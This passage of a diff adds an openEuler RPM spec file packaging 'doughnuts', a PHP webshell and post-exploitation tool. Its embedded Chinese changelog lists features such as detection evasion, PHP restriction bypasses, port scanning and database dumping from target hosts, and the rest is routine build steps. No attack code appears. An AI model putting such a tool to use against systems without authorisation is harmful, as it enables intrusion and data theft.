+    - 现在使用随机字符作为连接是否成功的判断以防特征检测
+- 4.5.2
+    - 添加命令
+        - mkdir命令 创建文件夹
+        - rmdir命令 删除空文件夹
+
+### 4.4
+- 修改核心
+    - 使用算法将回显加密
+- 4.4.1
+    - 修复bug
+        - **回显加密在php5会出错**
+- 4.4.2
+    - 修改命令
+        - touch命令 提示修改
+        - ps命令    提示修改,只允许在*unix目标上运行
+    - 修复bug
+        - 曾导致在linux下调用vi编辑器失败
+
+### 4.3
+- 修改命令
+    - portscan去除短名ps, 修改显示结果,变得更加可读
+    - bobd支持在ini_set被禁用时使用ini_alter
+    - bdf php7-backtrace 添加在Exception类被禁用后使用Error类
+- 添加命令
+    - copy命令 用于复制文件
+    - ps命令 类似于linux下的ps命令,用于读取系统进程信息
+- 修复bug
+    - 在back返回主菜单后清理mysql连接记录
+
+
+### 4.2
+- 修改结构
+    - myapp尝试丢弃webshell执行代码之前的输出
+- 添加命令
+    - mdownload命令 用于分块下载文件
+- 修改命令
+    - mupload命令 完全重写,真正意义上的分块上传,修复mupload上传失败不会自动清理临时文件的问题
+- 修复bug
+    - 修复mdownload, mupload没有ls后补全的问题
+- 新增依赖
+    - tqdm
+- 4.2.1
+    - 修改命令
+        - db_mdump命令 优化,去除key键,去除表结构中的Not NULL, 使用mysql_real_escape_string转义
+
+
+
+
+### 4.1
+- 修改结构
+    - 新建插件时不再需要更改helpmenu.py
+
+
+### 4.0
+- 修改命令
+    - 修复当使用mysqli扩展链接mysql数据库时db_info显示的问题
+    - 修复当使用pdo扩展链接数据库时无法db_dump的问题
+    - 修复某些文本错误
+    - db_dump命令 
+        - 不再目标主机上写入文件而是直接下载到本地,修改参数{web_file_path}->{local_path}
+        - 添加参数 {table} 用于指定数据表,默认存储文件名为{database}.{table}.sql
+    - dump命令
+        - 修复一个bug曾导致路径拼接时使用\转义了外部php的引号导致的报错
+- 添加命令
+    - db_mdump命令 用于分块dump数据库
+- 4.0.1
+    - 修复了db_mdump导出的数据库encoding错误导致sql文件无法导入的问题
+- 4.0.2
+    - 修复了db_mdump数据重复的问题
+- 4.0.3
+    - 删除测试输出,删除db_mdump中DROP DATABASE语句
+
+## 免责声明
+
+本项目仅供网站管理人员与渗透测试人员学习与交流,任何使用本项目进行的一切未授权攻击行为与本人无关.
+
+
+%prep
+%autosetup -n doughnuts-4.24.0
+
+%build
+%py3_build
+
+%install
+%py3_install
+install -d -m755 %{buildroot}/%{_pkgdocdir}
+if [ -d doc ]; then cp -arf doc %{buildroot}/%{_pkgdocdir}; fi
+if [ -d docs ]; then cp -arf docs %{buildroot}/%{_pkgdocdir}; fi
+if [ -d example ]; then cp -arf example %{buildroot}/%{_pkgdocdir}; fi
+if [ -d examples ]; then cp -arf examples %{buildroot}/%{_pkgdocdir}; fi
+pushd %{buildroot}
+if [ -d usr/lib ]; then
+	find usr/lib -type f -printf "/%h/%f\n" >> filelist.lst
+fi
+if [ -d usr/lib64 ]; then
+	find usr/lib64 -type f -printf "/%h/%f\n" >> filelist.lst
+fi
+if [ -d usr/bin ]; then
+	find usr/bin -type f -printf "/%h/%f\n" >> filelist.lst
+fi
+if [ -d usr/sbin ]; then
+	find usr/sbin -type f -printf "/%h/%f\n" >> filelist.lst
+fi
+touch doclist.lst
+if [ -d usr/share/man ]; then
+	find usr/share/man -type f -printf "/%h/%f.gz\n" >> doclist.lst
+fi
+popd
+mv %{buildroot}/filelist.lst .
+mv %{buildroot}/doclist.lst .
+
+%files -n python3-doughnuts -f filelist.lst
+%dir %{python3_sitelib}/*
+
+%files help -f doclist.lst
+%{_docdir}/*
+
+%changelog
+* Fri May 05 2023 Python_Bot <Python_Bot@openeuler.org> - 4.24.0-1
+- Package Spec generated
diff --git a/sources b/sources
new file mode 100644
index 0000000..db9df90
--- /dev/null
+++ b/sources
@@ -0,0 +1 @@
+bf1345639a755a8d6170cceba1f74e2d  doughnuts-4.24.0.tar.gz